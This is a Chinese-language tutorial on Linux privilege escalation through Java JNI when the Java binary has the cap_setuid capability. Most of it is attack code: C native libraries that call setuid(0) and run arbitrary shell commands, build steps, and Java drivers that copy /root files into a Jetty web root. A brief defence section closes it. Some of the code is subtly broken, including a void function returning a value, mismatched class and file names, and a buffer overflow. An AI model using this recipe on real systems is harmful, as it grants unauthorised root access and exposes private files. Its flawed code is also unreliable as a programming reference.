Java特权下的JNI提权技术研究

一、概述

Java Native Interface (JNI)提权是一种利用Java本地接口调用本地系统功能实现权限提升的技术。当Java程序具有特殊权限（如Linux的capabilities中的cap_setuid）时，可以通过JNI调用本地代码执行特权操作。

二、前置条件

1. Java程序具有特殊权限：
   • 使用getcap命令检查Java是否具有cap_setuid权限：

     getcap -r / 2>/dev/null
     /usr/local/openjdk-8/bin/java = cap_setuid+ep
     

   • 上述输出表示Java具有设置用户ID的权限

三、JNI提权实现步骤

1. 创建Java本地接口类

首先创建一个包含native方法声明的Java类：

public class NativeLibraryExample {
    // 声明native方法
    public native void nativeMethod(String cmd);
}

2. 生成头文件

编译Java类并生成C头文件：

javac NativeLibraryExample.java
javah -jni NativeLibraryExample

3. 编写本地实现代码

创建C文件实现native方法，关键点在于调用setuid(0)：

#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result) {
    setuid(0);  // 关键提权操作
    char buffer[1024*12];
    FILE *pipe = popen(cmd, "r");
    if (!pipe) return 0;
    
    while (!feof(pipe)) {
        if (fgets(buffer, sizeof(buffer), pipe)) {
            strcat(result, buffer);
        }
    }
    pclose(pipe);
    return 1;
}

JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(
    JNIEnv *env, jobject obj, jstring jstr) {
    
    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024*12] = "";
    
    if (1 == execmd(cstr, result)) {
        // 命令执行成功处理
    }
    
    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    return cmdresult;
}

4. 编译为动态链接库

gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c

5. 创建调用类

编写Java类加载动态库并调用native方法：

public class Main {
    public native void nativeMethod(String cmd);
    
    public static void main(String[] args) {
        System.load("/tmp/libcmd.so");
        NativeLibraryExample example = new NativeLibraryExample();
        example.nativeMethod("cat /root/message.txt > /tmp/2.txt");
    }
}

6. 执行提权操作

javac Main.java
java Main

四、纯JNI SetUID提权实现

1. 创建SetUID本地接口

#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
    return setuid(uid);
}

2. 编译为动态库

gcc -shared -fPIC -o libSetUID.so -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux SetUID.c

3. Java调用类

public class SetUID {
    static {
        System.loadLibrary("SetUID");
    }
    
    public native int setUID(int uid);
    
    public static void main(String[] args) throws Exception {
        SetUID setUID = new SetUID();
        int result = setUID.setUID(0);  // 提权到root
        Runtime.getRuntime().exec(new String[]{"sh", "-c", "cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
    }
}

4. 执行提权

javac SetUID.java
java -Djava.library.path=/opt/jetty/webapps/ROOT/ -cp /opt/jetty/webapps/ROOT/ SetUID

五、关键点说明

1. setuid(0)调用：这是提权的核心，将进程用户ID设置为0(root)

2. Java Capabilities检查：

   • 必须确认Java具有cap_setuid权限
   • 使用getcap命令验证

3. JNI编译注意事项：

   • 必须包含正确的头文件路径($JAVA_HOME/include和$JAVA_HOME/include/linux)
   • 使用-fPIC和-shared选项生成动态库

4. 执行环境：

   • 需要设置正确的库路径(-Djava.library.path)
   • 确保类路径(-cp)包含所需类文件

5. 安全限制：

   • 现代Linux系统可能有安全机制限制此类提权
   • SELinux或AppArmor可能阻止此类操作

六、防御措施

1. 限制Java的capabilities：

   setcap -r /usr/local/openjdk-8/bin/java
   

2. 使用最小权限原则：不要给Java程序不必要的权限

3. 监控JNI调用：安全审计应关注JNI的使用情况

4. 更新Java安全策略：限制可以加载本地库的代码

5. 使用安全模块：如SELinux或AppArmor限制进程行为

七、总结

JNI提权技术利用了Java程序具有特殊权限时，通过本地代码执行系统调用的能力。这种技术特别危险，因为它可以绕过Java的安全沙箱。系统管理员应定期检查关键程序的capabilities设置，开发者应避免不必要的JNI调用，特别是涉及权限操作的情况。